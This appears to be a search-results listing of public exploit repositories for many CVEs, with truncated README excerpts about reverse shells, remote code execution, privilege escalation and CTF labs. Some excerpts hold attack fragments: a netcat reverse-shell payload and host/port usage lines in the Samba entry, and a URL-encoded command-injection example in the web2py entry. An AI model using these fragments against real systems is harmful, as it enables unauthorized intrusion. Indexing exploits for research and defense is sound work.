41035 matches found
CVE-2022-46169-CACTI-1.2.22
CVE-2022-46169-CACTI-1.2.22 This is a exploit of CVE-2022-46169 to cacti 1.2.22. This exploit allows through an RCE to obtain a reverse shell on your computer. Requirement optparse requests Usage On a port on your machine listen and then run the exploit as follows. python3 CVE-2022-46169.py -u...
cve-2025-55182
๐ก๏ธ React2Shell CTF ๐ Welcome to React2Shell-CTF , a Dockerized environment designed to practice exploiting React2Shell CVE-2025-55182. React2Shell is a critical vulnerability affecting React-based applications. This repository provides a safe, locally deployable Capture The Flag CTF challenge to...
CVE-2023-21823
CVE-2023-21823 Reverse Shell for Windows This repository contains C code that implements a reverse shell for the Windows operating system. A reverse shell allows for remote system control using the command-line, providing the ability to execute commands on the infected machine. Important Using th...
cve-2017-11176
cve-2017-11176 Local Privilege Escalation develope on ubuntu 4.4.0-62 kernel about My first try to code my own LPE exploit. developement line c2bbad5f471ef2b112f343fde1f4e7ff94fe28d1 triger kernel uaf d2872d5c0d642e20c807a960f99d9533dde5d809 now,we can use another thread to unblock main thread...
CVE-2023-41425-WonderCMS-Authenticated-RCE
CVE-2023-41425-WonderCMS-Authenticated-RCE Description WonderCMS v3.2.0 - v3.4.2 is vulnerable. Remote attackers can take full control of the server using a Cross-Site Scripting XSS exploit For educational purposes only . Here's the game plan: How it works: The exploit abuses the installModule...
springshell-rce-poc
CVE-2022-22965 - vulnerable app and PoC Trial & error $ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py Output example rce sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6...
CVE-2021-36260
Hikvision CVE-2021-36260 RCE Vulnerability Vulnerability Description Attackers can exploit this vulnerability to gain complete control over the device with an unrestricted root shell, even if the device owner is limited to a restricted protected shell psh. In addition to compromising IP cameras,...
CVE-2007-2447
CVE-2007-2447 PoC: Samba "usermap script" remote command-execution historical CVE. This repository contains a small proof-of-concept script for research and educational review. The primary script is usermapscriptCommandExecution.py. Reference writeup:...
cve-2023-51467
Go-Exploit for CVE-2023-51467 This repository contains a go-exploit for Apache OFBiz CVE-2023-51467. The implementation contains target verification, a version scanner, and an in-memory Nashorn reverse shell as the payload requires the Java in use supports Nashorn. The weaponization process is...
CVE-2024-46377
CVE-2024-46377 PoC for Arbitrary File Upload Vulnerability in Best House Rental Management System 1.0 Overview This Python script demonstrates how to exploit the arbitrary file upload vulnerability in Best House Rental Management System 1.0. The vulnerability allows an attacker to upload a...
CVE-2025-49844-RediShell-AI-made-Revshell
CVE-2025-49844 RediShell AI-made Revshell PoC Untested completition of the Redishell PoC made by AI. Original PoC: https://github.com/raminfp/redisexploit/blob/main/exploitpoc.py Korean Piece: https://github.com/dwisiswant0/CVE-2025-49844/blob/master/CVE-2025-49844.lua Progress ? We later went...
CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-
CVE-2020-5752: Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell- Druva inSync Windows Client 6.6.3 - Local Privilege Escalation PowerShell Modified to get Reverse Shell with system privileges...
CVE-2023-45158
CVE-2023-45158 Steps 1. Run the webserver cd web2py python3 web2py.py 2. Inject your command using the URL http://:8000/hack?msg=%27%3B%3B%27. Replace and with your values. Examples 1. Create a file on the server http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. Reverse shell On the attacker's...
CVE-2022-46169
CVE 2022-46169 This script exploits an unauthenticated command injection vulnerability in Cacti versions through 1.2.22 in order to achieve unauthenticated remote code execution and gain a reverse shell...
CVE-2024-36401-PoC
CVE-2024-36401-PoC This repository contains a Proof of Concept PoC script for CVE-2024-36401, a vulnerability that can be exploited to gain remote code execution on the target server. Features Assign a reverse shell listener using Perl. Encode commands using Base64. Make requests to the target...
libxml2: Stack Buffer Overflow in xmllint Interactive Shell Command Handling
A flaw was found in the interactive shell of the xmllint command-line tool, used for parsing XML files. When a user inputs an overly long command, the program does not check the input size properly, which can cause it to crash. This issue might allow attackers to run harmful code in rare...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...
CVE-2024-27348
๐ฅ CVE-2024-27348 Exploitation Toolkit ๐ Academic Project ๐ Course: FC411 - Secure Network Design ๐จโ๐ซ Instructor: Dr. Maira Sultan ๐ซ University: University of Prince Mugrin ๐ Year: 2025 โก A complete toolkit for exploiting CVE-2024-27348 Apache Huge-Graph-Server developed as part of the FC411 course...
CVE-2019-15813
CVE-2019-15813 This container was made to explain and demonstrate how CVE-2019-15813 Sentrifugo works Sentrifugo V3.2 Sentrifugo is a Human Resource Management System How to Install docker-compose up Default crentials to test ----Super Admin---- Username : empp0001 Password : 5faa7bdf3d7af...